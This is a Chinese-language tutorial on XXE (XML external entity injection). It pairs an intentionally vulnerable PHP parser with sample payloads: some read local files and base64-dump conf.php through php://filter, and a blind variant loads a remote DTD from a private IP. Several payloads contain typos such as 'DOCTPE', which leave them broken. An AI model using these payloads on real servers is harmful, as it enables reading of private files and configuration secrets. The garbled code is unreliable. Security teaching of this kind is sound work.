目录
XXE漏洞介绍
XXE全称为XML External Entity Injection即XMl外部实体注入漏洞。
XXE漏洞
XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
XML介绍及用途
XMl被设计用来传输和存储数据。XML文档形成了一种树状结构,它从"根部"开始,然后扩展到"枝叶"。
XMl允许作者定义自己的标签和自己的文档结构。
XML语法规则
- 所有XMl元素必须有一个闭合标签
- XMl标签对大小写敏感
- XMl必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XMl中,空格会被保留
函数介绍
file_get_cintent函数介绍
file_get_content()函数把整个文件读入一个字符串中。
php://inpput介绍
php://input是个可以访问请求的原始数据的只读流。
结合file_get_contents(php://input)可以读取POST提交的数据
simplexml_load_string函数介绍
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
XML注入回显输出函数
在php中可以使用 print_r(),echo输出想要输出的内容
存在XXE漏洞代码
<?php
$xml= file_get_contents(php://input);
$data = simplexml_load_string($xml);
echo"<pre>";
print_r($data);//注释掉该语句即为无回显的情况
?>
php中测试POC
file:///path/file.txt
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
有回显XXE漏洞利用
读取文档文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>
<name>&xxe;</name>
读取php文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>
<name>&xxe;</name>
无回显XXE漏洞利用
测试原理
请求XML
<?xml version="1.0" encoding="utf-8"?>
<DOCTPE foo SYSTEM "http://192.168.3.112/test.dtd">
<foo>&e1;</foo>
服务器dtd
使用gedit将test.dtd中内容设置为下图的文件内容